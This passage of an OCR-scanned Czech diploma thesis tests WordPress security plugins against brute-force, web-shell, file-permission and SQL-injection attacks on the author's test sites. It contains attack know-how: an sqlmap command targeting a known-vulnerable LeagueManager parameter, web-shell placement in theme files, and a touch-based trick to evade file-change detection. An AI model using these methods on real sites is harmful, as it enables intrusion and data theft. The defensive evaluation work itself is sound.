komunikace probiha ptes firewall od Sucuri a az nasledné je pozadavek poslan na server,
kde jsou webové stranky hostovany, tak dochazi k okamzitému zablokovani utoku pomoci
nastroje WPScan. U utoku na XML-RPC se podaii provést pouze dva pokusy o piihlaseni
a nasledn¢ dojde k zablokovani IP adresy. Placena verze navic umoziuje nastavit captchu
nebo dvoufazovou autentizaci na libovolny zdroj. Monitorovani aplikace je piimo
v administraci na webovych strank&ch Sucuri. Na néasledujicim obrdzku (Obrazek 8) jsou
¢ervenym kruhem oznaCeny zablokované IP adresy. Na webu Sucuri je také piehled
pozadavkl v realném cCase adalSi velice piehledné reporty o udalostech na webovych

strankéach.

Obrazek 8 - Prehled pozadavkii v realném case na webové stranky chranéné firewallem od Sucuri

IP Address Resource Path HTTP User-Agent Date/Time
. B (4.78.149.164 /.welL—known/rlcme—chullenge/th7H4O Mozilla/5.0 (compatible; Let's Encrypt validatio 22/)an/2018:08:02:39 -0500
R-@M-huowmg4Z1GjDeelo0F domd-ZwP1lw4No n server; +https:fwww.letsencrypt.org)
[ ] 185.220.101.41 / WPScan v2.9.3 (http://wpscan.org) 22/)an/2018:08:37:09 -0500
[ ] 185.220.101.41 / WPScan v2.9.3 (http://wpscan.org) 22/)an/2018:08:37:49 -0500
® 185.220.101.41 / WPScan v2.9.3 (http://wpscan.org) 22/)an/2018:08:37:50 -0500
@ O 17610004240 [ERE /xmlrpe.php XMLRPC:Client (Ruby 2.3.6) 22/)an/2018:09:08:41 -0500

Zdroj: vlastni zpracovani

Na webovych strankach Sucuri, 1ze provadét vice nastaveni nez v samotném pluginu. Pocet
povolenych neuspésnych pokusti o ptihlaseni, délku blokace IP adresy nebo vynuceni
silného uzivatelského hesla nejde ovSem nastavit ani v pluginu ani v administraci na webu
Sucuri. Pfi vzajemné komparaci bude zohlednén fakt, ze samotny firewall dostupny
v placené verzi vyzaduje slozitou konfiguraci a zarovenn neni zcela soucasti samotného
pluginu. Firewall od Sucuri je totiz sluzbou, ktera nevyzaduje existenci pluginu nebo

samotného WordPressu.
Acunetix WP Security

Plugin Acunetix WP Security nema funkci, kterd by blokovala IP adresy pti velkém poctu
netspésnych pokusi o piihlaseni a ani jinou funkci, kterd by webovou aplikaci chranila proti
utoku hrubou silou. Jeding, co se d4 povazovat za prevenci proti titoku hrubou silou, avsak

nedostate¢nou, je moznost odstranit chybové zpravy u ptihlasovaciho formulafe. Podobné
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jako plugin Wordfence obsahuje Acunetix WP Security funkci Live Traffic, kde Ize dohledat
nékolikanasobny pftistup k souboru wp-login.php a xmlrpc.php. Administrator tak mize

alespon zjistit, ze byl n&jaky utok provadén a provest pfislusna opatieni.
BulletProof Security

Plugin BulletProof Security kromé poc¢tu netispé$nych pokusti a ¢asovou délku zablokovani
uzivatelského uctu umoziuje nastavit obsah chybové zpravy a zda se ma ¢i nema zobrazovat
pocet zbyvajicich pokusi. Dale umoziuje nastavit captchu v pfihlaSovacim formulafi.
Vynuceni silného hesla nebo jiné funkce slouzici k ochrané proti titoku hrubou silou plugin

neobsahuje.

Pii Utoku pomoci nastroje WPScan musel byt k piikazu piidan parametr --random-agent,
protoze plugin utok jinak zcela zablokoval diky zapnutému Root Folder BulletProof modu.
Utok pomoci nastroje WPScan ani Gtok na XML-RPC plugin nezaznamenal. Jedinou
moznosti, jak se tuspéSné branit proti utoku na XML-RPC je vyuzit moznosti editace souboru
htaccess a pridat do néj kod, ktery ochranu obstara. V komparaci plugint vSak tato moznost

nebude zohlednéna, protoze takove zabezpeceni lze provést i bez pouziti daného pluginu.

Na zavér bylo otestovano, zda zablokovani uzivatelského uctu funguje alespon v piipadé
manualniho hadani uzivatelského hesla v pfihlaovacim formulafi. Pfi tfech netspéSnych
pokusech o ptihlaseni byl ucet uspésné zamknut a celd udalost zaznamenana, jak je patrné

na nasledujicim obrazku (Obrézek 9).

Obrézek 9 - Zamknuty uzivatelsky ucet v pluginu BulletProof Security

i
Login User \\omame Display Email Role Login Lockout

1P Al H R RI
Status  Lock Unlock Delete ID Name Time Expires ddress ostname equest U

wordpress11 wordpressi1 vaclav.vodicka@vavo.cz  administrator 22.1.2018 22.1.2018 192.168.0.1 192.168.0.1 /wordpress11/wp
18:33 18:48 login.php

Locked

Zdroj: vlastni zpracovani

Shield Security for WordPress

Plugin Shield Security blokuje uzivatelsky ucet ihned po prvnim netspé€$ném pokusu na
dobu, ktera je specifikovana v nastaveni. Nastavit Ize hodnoty od 0 az do neomezeného
poctu sekund, pficemz O znamend vypnuté blokovani. Plugin dadle umoziuje piejmenovat
piihlasovaci stranku, nastavit captchu nebo dvoufazovou autentizaci pres Google ¢i e-mail.

Jako captchu Ize nastavit reCAPTCHU od Googlu nebo tzv. G.A.S.P., coz je dynamicky

generovan¢ zaSkrtdvaci pole JavaScriptem, které roboti nemohou zaskrtnout. Plugin
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zabezpeceni piihlaSovani posouva jesté dal, protoZe umoZziiuje autentizaci pomoci zatizeni

Yubikey. Vynuceni silného hesla nepodporuje.

XML-RPC je defaultné¢ v pluginu povoleno, avsak lze ho zcela vypnout. V ptipadé
kompletniho vypnuti podpory XML-RPC se sice nepodatilo heslo uhodnout, protoze soubor
xmlrpc.php vratil stavovy kdd -32601, ale skript mohl dale provadét Gitok a zpomalovat tak
webovou aplikaci. Plugin tedy nespravné uvadi, ze dojde k vypnuti celého XML-RPC

systému.

Bez zapnuteé captchy nebo dvoufazové autentizace je jedinou ochranou proti Utoku hrubou
silou blokovani pfihlasovani po specifikovanou dobu. Problém vsak je, Ze nastroj WPScan
zablokovan neni a mtize tedy hadani stale provadét. Existuje urcita pravdépodobnost, kdy se
pii hadani hesla muze WPScan trefit do doby, kdy je ucet zrovna odblokovan. Zaroven je
mozné vytvorit skript, ktery bude heslo zkouSet po uplynuti ur¢itého ¢asového intervalu.
Tato ochrana je tudiZz nedostatena a je nutné vyuzit naptf. zminovany G.A.S.P., ktery
ptihlasovaci formulaf, jak bylo zjisténo, chrani proti utoku pomoci nastroje WPScan

dostatecné.

Nevyhodou pluginu je monitorovani aplikace ainformovani administratora
0 neoCekavanych udalostech, které neni zdaleka tak dobré jako u nékterych konkurenénich
plugint. Jedinym zptsobem, jak zjistit, ze byl Gtok hrubou silou provadén, je navstiveni
stranky s auditovacim logem, kde jsou vSechny zaznamy o neuspéSnych pokusech
0 ptihlaseni a dalsich udalostech ve webové aplikaci. E-mailové upozornéni o0 Utoku ¢i

zakladni prehled na nasténce plugin nepodporuje.
NinjaFirewall a NinjaScanner

Ochranu proti Gtoku hrubou silou je nutné v pluginu NinjaFirewall zapnout. Nastavit Ize bud’
ochranu pomoci dalsi autentizace, nebo captchy. Pfidani dal$i autentizace k ochrané
ptihlasovaciho formulafe je nesmysiné, protoze je novy formulaf nachylny na titok hrubou
silou stejné jako chranény formulaf. Vhodnou ochranou proti utoku hrubou silou je vyuziti

moznosti piidat do pfihlasovaciho formulafe captchu.

Plugin dale obsahuje funkci, ktera ihned rozpozna a zablokuje roboty nebo skripty, které
provadi (tok hrubou silou. VSechna zminénd opatieni lze nastavit i pro XML-RPC.
V zésadach firewallu Ize také podporu XML-RPC zcela vypnout. Vynuceni silného hesla ¢i

jina preventivni opatieni proti prolomeni autentizace plugin neobsahuje.
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Snahou bylo otestovat, zda plugin blokuje Gtok hrubou silou bez pouZiti captchy nebo
dalsiho ptihlasovaciho formuléfe. V nastaveni je ovSem nutné vybrat jedno ze zminénych
zabezpegeni. Utok pomoci néastroje WPScan se proto nepodafilo provést. P¥i zvolené
moznosti, kterd aplikuje veSkerou ochranu na XML-RPC se nepodaftil ani utok pomoci
skriptu wp_find_password.rb. Plugin NinjaFirewall jako jediny umoziiuje piidat captchu
nebo dalsi autentizaci na soubor xmlrpc.php. V piipadé, ze administrator potiebuje
XML-RPC vyuzit ke komunikaci s mobilni aplikaci ¢i jinym pluginem, tak musi celou
ochranu XML-RPC vypnout a jak radi (NinTechNet, 2018), tak zapnout blokaci metody
system.multicall. Jak se v8ak ukazalo, tak toto nastaveni nepomohlo a ttok se podatilo

provest.

Plugin do svého logu, ktery je dostupny v administraci WordPressu, zaznamenava vsechny
blokované pozadavky. Dale plugin obsahuje tzv. Live Log, kde jsou pozadavky na webovou
aplikaci v realném case. O neocekavanych udalostech je zaroven administrator informovan

e-mailem.
SecuPress

V pluginu SecuPress lze nastavit libovolnou délku blokace IP adresy po piekroceni
nastavené¢ho poctu pokust o piihlaSeni. Dale 1ze zapnout, aby byla IP adresa zablokovana
ihned po odeslani neplatného uzivatelského jména. Pfihlasovaci stranku je mozné v pluginu
pfejmenovat. Plugin dale umoziuje nastavit captchu, vypnout podporu XML-RPC nebo
pouze zapnout blokaci IP adres, které se né€kolikrat neuspésné pokusi pres XML-RPC
ptihlasit. V placené verzi pluginu Ize navic nastavit dvoufazovou autentizaci, vynutit silné
uzivatelské heslo a nastavit dobu, po které si uzivatel musi heslo zménit. Pfi zapnutém

vynuceni silného hesla vS§ak nebyla vypozorovana zadna zména.

Utok pomoci néstroje WPScan plugin zaznamenal a zablokoval IP adresu po nastaveném
poctu pokusu. Pfi testovani zabezpeceni XML-RPC byla zapnuta funkce, ktera zabranuje
nékolikandsobnému pokusu o ptihlaSeni. Bylo provedeno vice nez 50 pokust o ptihlaseni
aIP adresa zablokovana nebyla. Utok prob&hl usp&$né a heslo se podafilo ziskat i pies
zapnutou ochranu XML-RPC. Pouze pii zcela vypnuté podpoie XML-RPC se (tok

nepodafril.

O nefunk¢énim zabezpeceni XML-RPC byla informovana podpora, ktera vysvétlila, ze skript

wp_find_password.rb neprovadi nékolikanasobny pokus o ptihlaseni, ale pouze jeden pokus
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nékolikrat za sebou. Dale doporucdila zapnout ochranu ,,Anti Brute-Force®, ktera blokuje IP
adresu uzivatele v pripad¢, ze odesle 10 pozadavki na server béhem jedné sekundy. Toto
nastaveni je z neznamého divodu v jiné Casti pluginu nez ostatni zabezpeceni proti Gitoku
hrubou silou, a ¢asto nemusi byt administratorem nastavené. Navic je funkce dostupna pouze
v placené verzi pluginu. 1 pies zapnuti této ochrany se Gtok hrubou silou skriptem

wp_find_password.rb podafilo provést.

Neocekavané udalosti jsou zaznamenavany do logu, ktery je dostupny z administrace
WordPressu, je piehledny a poskytuje dostate¢né informace. V placené verzi lIze nastavit

také e-mailova upozornéni.

4.2.3 Malware

Do webovych aplikaci bude vlozen malware, tedy soubor, ktery umozni vzdalené ovladat
server. V piipadé¢, ze je tento soubor nahrdn na webovy server a spustitelny jako napi. PHP
skript, tak je podle (US-CERT, 2015) ozna¢ovan jako web shell. Pro tento Gtok byl vybréan
web shell dostupny na GitHubu (GitHub, 2017). Jedna se o jeden PHP soubor a uzivatelské

rozhrani je na nasledujicim obrazku (Obrazek 10).

Obréazek 10 - Uzivatelské rozhrani pouzitého web shellu

pOwvny@shell:../web/hacktoold 1lg -1

total 12

-rw-r—-r-— 1 web8 clientl 192 Jan 8 12:08 imgshell.php
-rwW-r--r-- 1 web8 clientl 6827 Jan 8 14:29 webshell.php

pOwny@shell:../web/hacktool#

Zdroj: vlastni zpracovani

Do systému WordPress lze vlozit malware pfi instalaci pluginu jako jeho souc¢ast pomoci
nahradvani medii ¢i Upravy stavajiciho souboru v editoru $ablon a plugint. Velice ¢astym
zpusobem je také vyuziti bezpeCnostni diry nékterého z jiz nainstalovanych plugint.
V piipadé nahravani medii je nutné vlozit skript jako obrazek se specidlné upravenym

obsahem. Jednodussi variantou je uprava existujiciho souboru v editoru. Vlozeni skodlivého
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souboru, ktery je souéasti pluginu, je vyhodné&jsi vtom ohledu, Ze sta¢i uzivatele
WordPressu piimét k jeho instalaci anemuset piitom prolomit autentizaci ¢i jiné

zabezpeceni.

Utoénik nebo uZivatel reprezentujici zaméstnance firmy, ktery se dostane k editoru $ablon
muze timto zpltisobem vytvofit zadni vratka do systému a pozdéji je vyuzit k naruSeni chodu
aplikace nebo ziskani citlivych dat uloZenych na serveru. Vhodnou tupravou soboru

functions.php lze také napiiklad vytvorit administratorsky ucet (Abela, 2014).

Nekteré pluginy umoziuji vypnout podporu editoru Sablon a plugint. Ziska-li Gtocnik
administratorska prava nebo prolomi-li autentizaci pomoci Gtoku hrubou silou, muze
podporu editoru znovu povolit. Nejlep$im feSenim je vypnout editor v konfiguracnim
souboru WordPressu a nastavit vS§em souborim na serveru takova prava, ktera nedovoli
jejich zménu z webového rozhrani. Analyza bezpecnostnich plugini z hlediska nastaveni

prav k souborum a adresartim je v nasledujici kapitole.

V této kapitole budou analyzovény jednotlivé pluginy z hlediska obrany proti malwaru.
Bezpecnostni plugin systému WordPress by mél umoziiovat malware na webovém serveru
nalézt, odstranit a informovat 0 ném administratora aplikace. K provedeni zminénych kroku
obsahuji pluginy funkce jako je skenovani zmén v souborech, vraceni souboru do pivodniho
stavu €1 jeho smazani, zamezeni spusténi Skodlivého souboru a e-mailové ¢i jiné upozornéni

na existenci §kodlivého souboru v aplikaci.

Pro analyzu zminénych funkci byl malware vlozen do existujiciho souboru 404.php
u Sablony, kterd neni momentalné webovymi strankami vyuzivana. Aktudlni Sablona je
»Twenty seventeen®, a proto byla vybrana Sablona ,, Twenty sixteen*. Soubor 404.php je
dostupny na adrese www.domena.cz/wp-content/themes/twentysixteen/404.php. Déle byl
web shell vlozen do adresaie /wp-admin/ a /wp-content/themes/twentysixteen/, jako novy

soubor.

Plugin, ktery obsahuje funkci pro skenovani aplikace jejiz soucasti je hledani skodlivych
souborti, by mé&l zaznamenat dva nové ptidané soubory a zménu v jednom
existujicim souboru. Zaroven by mél 0 této skute¢nosti upozornit administratora a umoznit

mu napravu daného problému.
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Jetpack

Plugin Jetpack neobsahuje zadnou funkci k nalezeni vlozené¢ho web shellu, resp. detekci

zmén v souborech, a tudiz je webova aplikace proti malwaru nechranéna.
Wordfence Security

Funkce pro skenovani aplikace v pluginu Wordfence Security rozeznala vlozeny $kodlivy
soubor do adresafe /wp-admin/ a umoznila jeho smazani. Zménény soubor 404.php a novy
soubor ve slozce /wp-content/themes/twentysixteen/webshell.php ovsem nezaznamenala.
Dutvodem je fakt, Zze funkce defaultné neprochazi soubory v $ablonach. Po dodate¢ném
nastaveni kontroly soubori v Sablonach rozeznal plugin navic pouze zménény obsah
v souboru 404.php. Skener porovnava aktualni soubor s originalnim souborem Sablony,
avsak nove¢ piidané soubory opomiji. Vlozeni zadnich vratek v podobé web shellu prob&hlo
u Wordfence Security pluginu uspésné. Kladné hodnocena je moznost vyfeSeni daného
problému a zpracovani chyby v uzivatelském rozhrani, které je k nahlédnuti na nasledujicim
obrazku (Obrézek 11).

Obréazek 11 - Rozpoznany skodlivy soubor v pluginu Wordfence Security

&

SEVERITY ISSUE

Modified theme file: wp-content/themes/twentysixteen/404.php

Filename: wp-content/themes/twentysixteen/404.php
File Type: Theme

Issue First Detected: 3 mins ago.

Severity: Warning

Status New

This file belongs to theme "Twenty Sixteen" version "1.4" and has been modified from the
original distribution. It is commeon for site owners to madify their theme files, so if you
have modified this file yourself you can safely ignore this warning.

Tools: View the file. Restore the original version of this file. See how the file has changed.

Select for bulk repair

Resolve: | have fixed this issue lgnore until the file changes. Always ignore this file.

Zdroj: vlastni zpracovani
iThemes Security

Plugin iThemes Security defaultné umoznuje skenovani pouze domovské stranky

prostfednictvim online nastroje Sucuri SiteCheck (Sucuri, 2016), ktery zadny malware na

hlavni strance webu nenaSel. V nastaveni lze ovSem zapnout detekci zmén v souborech
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a skenovani aplikace. Funkce porovnava vsechny aktualni soubory s témi, které existovaly
pii poslednim provedeni skenu. Po instalaci pluginu je tedy nutné funkci povolit a proveést

sken, ktery ulozi informace o aktualnich souborech do databaze.

Plugin aspé$né rozpoznal dva pridané soubory a jeden upraveny, jak je vidét na dalSim
obrazku (Obrazek 12). Nevyhodou je skuteénost, ze v ptipadé smazani nebo piidani pluginu
obsahuje report spoustu souboru a stava se nepiehledny. Administrator, ktery zapomene
vylou¢it slozku s pluginy ze skenovani muze skodlivy soubor snadno piehlédnout. Dalsi

nevyhodou je absence jakékoliv napravy problému.

Dale bylo zjisténo, ze plugin u kontroly zmén v souboru porovnava jeho velikost a datum
posledni zmény. Pokud se uto¢nikovi podaii vlozit do WordPressu web shell, jako novy
soubor, tak mize kontrolu snadno obejit. Staci do web shellu zadat linuxovy ptikaz, ktery
zjisti velikost a ¢as zmény souboru, ktery chceme zménit. Pomoci ptikazu touch se nasledné
souboru nastavi ptivodni datum zmény. Podafi-li se skodlivy skript vlozit do souboru tak,
aby m¢él stejnou velikost, pak infikovany soubor nebude pluginem rozeznan. Pavodné

vlozeny web shell se nakonec smaze.

Obrézek 12 - Detekované zmény v souborech u pluginu iThemes Security

Files Added

1. File: webshell.php
Date: Monday January 8th, 2018 at 5:44 pm UTC

2. File: wp-content/themes/twentysixteen/webshell.php
Date: Monday January 8th, 2018 at 5:44 pm UTC

Files Removed
1. There are no deleted files to report
Files Changed

1. File: wp-content/themes/twentysixteen/404.php
Date: Monday January 8th, 2018 at 5:44 pm UTC

Zdroj: vlastni zpracovani
All In One WP Security & Firewall

Skenovani aplikace v pluginu All In One WP Security & Firewall funguje na stejném
principu jako u pluginu iThemes Security. Jedinym rozdilem je skute¢nost, ze neni potieba
skenovani povolit. Stejné jako v predeslém piipadé itento plugin rozeznal dva piidané
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a jeden upraveny soubor. Pfi analyze tohoto pluginu byl zaroven vlozen $kodlivy kod do
souboru 404.php tak, aby velikost souboru byla stejna jako puvodni a pomoci web shellu
bylo nastaveno pivodni datum zmény. Plugin v takovém piipadé zménu v souboru

nerozeznal.
Sucuri Security

V pluginu Sucuri Security je skenovani zmén v souborech mozné provést pouze
prostiednictvim funkce WordPress Integrity Diff Utility, kterd je defaultné vypnuta
a kontroluje pouze zménu souborti oproti Cisté instalaci WordPressu. Slozku s pluginy
a Sablonami ignoruje a nelze ji do kontroly zatadit. Plugin rozeznal pouze vloZeny web shell
do hlavniho adresaie webovych stranek. V adresaii wp-content lze blokovat spusténi PHP
souboru v prohlize¢i a zamezit tak spusténi web shellu uto¢nikem. Pfi zapnuti této moznosti

se vSak web shell podatilo stejné spustit.
Acunetix WP Security

Skenovani souborti pluginem Acunetix WP Security se nepodatilo provést. Plugin nebyl
schopen ze serveru stdhnout JSON soubor nutny pro provedeni skenu. Pravdépodobné

nebyla doposud do pluginu implementovana podpora pro nejnovejsi verzi WordPressu 4.9.1.
BulletProof Security

Plugin BulletProof Security obsahuje funkci pro skenovani aplikace, ktera hleda skodlivy
kéd ulozeny v databéazi ¢i souborech. Web shell, ktery byl do stranek vlozen, ovSem

nezaznamenala.
Shield Security

Plugin Shield Security obsahuje funkci pro skenovani souborti ve slozce se zdrojovymi
soubory WordPressu. Plugin nehledd Skodlivé soubory ve sloZce s pluginy a Sablonami.
V ptipadé nalezeni Skodlivého souboru posle administratorovi e-mail. Vlozeny web shell
nerozeznal plugin ani Vv jednom adresafi. Zaroven plugin v uzivatelském rozhrani
neumoznuje sken piimo spustit. Misto toho je nutné zadat specialni parametr do URL nebo

pockat na automatické spusténi.
NinjaFirewall a NinjaScanner

Plugin NinjaFirewall a NinjaScanner obsahuje funkci pro skenovani zmén v souborech. Pied

prvnim skenovanim je nutné provést inicializaéni sken, aby se ulozily informace
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0 aktualnich adresatich a souborech. Plugin rozeznal oba vlozené web shelly a upraveny
soubor 404.php. Nevyhoda této funkce je dana tim, Ze se informace o souborech a adresatich
ukladaji do PHP souboru na serveru a pomoci web shellu je mozné tyto informace upravit.
Dalsi nevyhodou je absence jakékoliv napravy zjisténé zmény Vv souborech. Pti zvoleném
Full WAF modu by se dalo ocekavat, ze web shell neptjde spustit, ovSem firewall
nerozeznal skript jako skodlivy, a proto se ho podatilo bez problému spustit.

SecuPress

Pomoci skenovani aplikace v pluginu SecuPress byly nalezeny oba pfidané soubory
azménény soubor 404.php. Plugin umoznuje nov¢ piidané soubory smazat a upraveny
soubor lze vratit do pdvodniho stavu. Zaroven umoznuji zmény v souboru zobrazit.
Informace o aktualnich souborech a adresafich uklada do databaze. Obejit toto zabezpeceni
jako u ostatnich plugini pomoci ptikazu touch se nepodafilo. Na nésledujicim obrazku
(Obréazek 13) je k nahlédnuti vysledek skenovani, kde je patrné, Ze plugin jako mozny

malware oznac¢il i soubory jiného pluginu.

Obréazek 13 - Rozpoznané skodlivé soubory v pluginu SecuPress

The followings are not files from WordPress core

|:| (Un)Select All

D webshell.php

D wp-content/plugins/wp-mail-smtp/vendor/google/apiclient/src/Google/Client.php
D wp-content/plugins/wp-mail-smtp/vendor/monolog/monolog/src/Monolog/Handler/NativeMailerHandler.php

D wp-content/themes/twentyseventeen/webshell.php

|:| (Un)Select All

Add selected files in the whitelist = Delete selected files

Zdroj: vlastni zpracovani

4.2.4  Pristup k souboram s citlivymi informacemi

Schopnost vlozit malware na webové stranky je ddna pfedevSim bezpecnostnimi
dirami nainstalovanych plugint a nedostate¢nym nastavenim prav slozek a souboru. Jak jiz
bylo zminéno v piedchozi kapitole, tak pomoci editoru Sablon a plugind je mozné upravit
PHP soubor tak, aby spustil libovolny $kodlivy kod. Se spravnym nastavenim prav lze docilit

toho, Ze editovani souborti z webového prohlizece nepujde.
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Skodlivy soubor, resp. malware miize byt vloZzen skrze nedostatedné zabezpedenou webovou
aplikaci, kterd bézi spolecné s dal$imi aplikacemi na jednom webovém serveru. Nespravné
nastavena prava k souboriim a slozkam vedou k tomu, Zze k nim malware mize pfistupovat

I pesto, ze byl vlozen skrze jinou aplikaci. (Wordfence, 2016)

Pfi Gitoku na webovou aplikaci je snahou uto¢nika ziskat ptistup k souboriim, které obsahuji
citlivé 0daje. Jedna se o udaje jako jsou piistupy do databaze, zdznamy o chybéch,
konfigura¢ni soubory a soubory s informacemi o verzi WordPressu a pouzitych pluginech.
Diky znalosti verze WordPressu, pouzitych pluginech a $ablonach muze uto¢nik vyuzit
zranitelnosti, které jsou o nich vefejné znamé. Soubory ve WordPressu obsahujici citlivé

informace jsou nasledujici (Weiss, 2012):

e wp-config.php,

e readme.html,

e license.txt,

e install.php,

e error.log nebo jiny soubor, kam se zaznamenavaji chyby,

e _.htaccess.

Dalsim problémem souvisejicim s pravy soubori a slozek je tzv. Directory Browsing, tedy
prohlizeni souborti ve sloZce prostiednictvim webového prohlizede. Utoénik tak miize ziskat
lepsi piehled o funkénosti aplikace a vyuzit ziskané informace k provedeni Gtoku. UZivatelé
mohou ve WordPressu také nahrat soubory s citlivymi Udaji a z uzivatelského rozhrani na
né¢ zamérn¢ neodkazovat. Ve WordPressu se soubory uklddaji defaultné do slozky
wp-content/uploads. Diky povolenému Directory Browsing mize uto¢nik citlivé Udaje

snadno ziskat.

K zjisténi slozek, u kterych je mozné prochazet soubory z prohlize¢e, byl kromé nastroje
WPScan pouzit také nastroj OWASP ZAP, ktery kromé zminéného Directory Browsing
v ramci skenovani aplikace dokaze nalézt i dal$i zranitelnosti v aplikaci. OWASP ZAP
zjistil, ze v Cisté instalaci WordPressu, tzn. bez zadného pluginu a nainstalované Sablony,
existuje devét slozek (Obrazek 14), ve kterych je Directory Browsing povolené. Nastroj
WPScan zjistil Directory Browsing u wp-includes a wp-content/uploads. Prinikem je

celkem 10 slozek, ve kterych je prochazeni soubort ve sloZce z prohlizece povolené.
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Obrézek 14 - Directory Browsing v cisté instalaci WordPressu

GET: http://dp.vavo.cztwordpressl/wp-adminfimages/

GET: http://dp.vavo.cztwordpresslwp-content/themes/twentyseventeen/assets/

GET: http://dp vavo.czfwordpresslwp-content/themes/twentyseventeen/assets/css/
GET: http://dp.vavo.cztwordpressljwp-content/themes/twentyseventeen/assets/images/
GET: http://dp vavo.cz'wordpressliwp-content/themes/twentyseventeen/assets/s/

GET: http://dp.vavo.cztwordpresslfwp-includes/

GET: http:/fdp vavo cztwordpressliwp-includes/csss

GET: http://dp.vavo.cziwordpressliwp-includes/js/

GET: http://dp.vavo.cztwordpresslwp-includes/js/jguery/

Zdroj: vlastni zpracovani

Dale budou nastavena neomezena prava, tj. 777, u souboru wp-config.php a .htaccess. Stejna
prava budou nastavena také uslozky wp-content, wp-admin, wp-includes,
wp-content/themes a wp-content/plugins. Spravna prava pro slozky jsou 755 nebo 750 a pro
soubory 644 nebo 640. Soubor wp-config.php by mél mit prava 440 nebo 400. (WordPress)

Schopnost pluginu zabranit zjisténi verze WordPressu nebo nainstalovanych plugind
a Sablondach, bude analyzovana pomoci nastroje WPScan. Tento nastroj hleda verzi systému
v souboru readme.html, v meta tagu a na jinych mistech ve webové aplikaci. Zaroven dokaze
nalézt nainstalované pluginy a $ablony, u kterych vypiSe jejich zranitelnosti, jsou-li tyto

zranitelnosti uloZeny v databézi WPScanu.

Bezpecnostni plugin systému WordPress by mél rozeznal nespravné nastavena prava
u soubort ¢i sloZzek a umoznit jejich napravu. Dale by mél umoznit vypnout podporu editoru
Sablon a pluginti a zamezit pfistup k souboriim s citlivymi udaji. Nakonec by mél zamezit
zjisténi podrobngjsich informaci o WordPressu, pluginech ¢i Sablonach a zamezit
prochéazeni soubori ve vSech slozkach ve webovém prohlize¢i. B€hem analyzy vSak bylo
zjisténo, ze zadny z vybranych plugini nema funkci, ktera by zabranila zjisténi informaci
0 nainstalovanych pluginech nebo Sablonach.
V nasledujicim vyctu jsou jednotlivd zabezpeCeni sefazena podle dulezitosti a jejichz
existence a efektivnost byla analyzovana ve vybranych pluginech:

1. Prava souborl a slozek — zjisténi nedostateCnych prav u soubort a slozek a jejich

naprava.

2. Directory Browsing — zamezeni prochazeni soubort ve slozkach skrze prohlizec.

3. Vypnuti editoru — vypnuti podpory editoru $ablon a plugint.
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4. Verze WordPressu — ochrana proti zjisténi verze WordPressu.

V nésledujici tabulce (Tabulka 2) jsou zji§téné poznatky, které jsou bodové ohodnoceny,

pficemz 0 znamena zadna ochrana a 10 existence plné funkéni ochrany.

Tabulka 2 - Zjisténé hodnoty pri analyze zabezpeceni souborii a slozek

Nazev pludinu Prava soubora | Directory | Vypnuti Verze
plug a slozek Browsing | editoru | WordPressu

Jetpack 0 0 0 0
Wordfence Security 0 0 0 5
iThemes Security 6 10 10 5
A_II In One WP Security & 8 10 10 5
Firewall

Sucuri Security 0 0 10 0
Acunetix WP Security 7 10 0 5
BulletProof Security 6 10 0 5
Shield Security for WordPress 0 0 10 5
NinjaFirewall a NinjaScanner 0 0 10 0
SecuPress 8 10 10 5

Zdroj: vlastni zpracovani

U ochrany proti zjisténi verze WordPressu bylo udéleno pouze 5 bodu u plugind, které
ochranu sice obsahovaly a snizilo se mnoZstvi zpasob, jak verzi zjistit, ale nastroji WPScan

se podarilo verzi zjistit ze struktury a velikosti souborti.

V ptipadé kontroly a napravy prav soubort a slozek bylo nutné ud¢lit jen ¢ast z maximéalniho
poctu bodu. U pluginu iThemes Security a BulletProof Security bylo udéleno jen 6 bodu,
protoze oba pluginy neumoziuji $patna prava pienastavit. U pluginu All In One WP Security
a SecuPress bylo udéleno 8 bodu, protoze zménu prav umoziuji, ale u soubor wp-config.php
vyzaduji prava 644 nebo 600 misto 440 nebo 400. Pluginu Acunetix WP Security bylo
udéleno pouze 7 bodl, protoze stejné¢ jako v prechozim pripad€, nastavuje Spatna prava
u souboru wp-config.php anavic nekontroluje prava u adresaie wp-content/themes

a wp-content/plugins.
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4.25 SQL Injection

WordPress verze 4.9.1 nemad vdobé psani této diplomové prace zadnou nalezenou
zranitelnost, ktera by umoznovala provést SQL Injection. K tomu, aby se analyzovala
efektivnost vybranych plugint z hlediska obrany proti SQL injektdzi, byl vybran plugin,
ktery takovou zranitelnost obsahuje. V databazi zranitelnosti byl nalezen plugin
LeagueManager, ktery ma vice jak 3tis. aktivnich instalaci apies 150 tis. stazeni
(WordPress). Verze tohoto pluginu nizsi nebo rovna 3.9.1.1 umoznuje provést Utok na
datoveé ulozisté pomoci SQL Injection (Exploit Database, 2015). Plugin slouzi k organizaci
ligovych utkani a jejich zobrazeni na webové strdnce. Nejnovéjsi verze pluginu v dobé psani
této prace je 4.2-RC1.3.

Spole¢né s odehranymi zapasy je na strance zobrazeno filtrovani (Obrézek 15), které na
zakladé zvoleného hraciho dne atymu zobrazi relevantni zdpasy. Formulaf je odesilan

metodou GET, a tudiz se zvolené parametry zobrazi v URL, ktera vypada nasledovné:
http://domena.cz/zapasy/?season=1&league_id=1&match_day=1&team_id=1.

Nélezce zranitelnosti (Exploit Database, 2015) uvadi, ze pravé parametr league_id je
nedostate¢né oSetfeny a umoziuje provest Utok do databaze. U zobrazeni konkrétniho

zapasu je piidan do URL parametr match, ktery je na SQL Injection take nachylny.

Obréazek 15 - Formular vygenerovany pluginem LeagueManager

1. Hraciden +|| Choose Team %

ZAPASY

Zdroj: vlastni zpracovani

Existence zranitelnosti byla ovéfena pomoci nastroje sqlmap, ktery je dostupny v Kali
Linux. Jedna se o penetra¢ni nastroj, ktery aplikovanim nékolika Skodlivych kodu dokaze
detekovat pfitomnost zranitelnosti (sqlmap). Zaroven dokaze detekovat tabulky, uzivatele
a dalsi informace o databdzovém serveru (Stampar, 2017). Piikaz pro nalezeni zranitelnosti

pomoci nastroje sglmap je nasledujici:

sglmap --url --dbms=MySQL --level 5 --risk 3 -p league_id
http://domena.cz/zapasy/?season=1&league_id=1&match_day=1&team_id=1.
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Nastroj uspésné nalezl zranitelnost v parametru league_id, ktery lze vyuzit k SQL Injection
utoku. Na nésledujicim obrdzku (Obrazek 16) je vystup néastroje sglmap s pouzitym

Skodlivym kodem.

Obrézek 16 - Vystup z ndstroje sqlmap po uspésném nazeleni zranitelnosti

GET parameter ‘league id® is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 2209 HTTP(s) requests:

Parameter: league id (GET)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
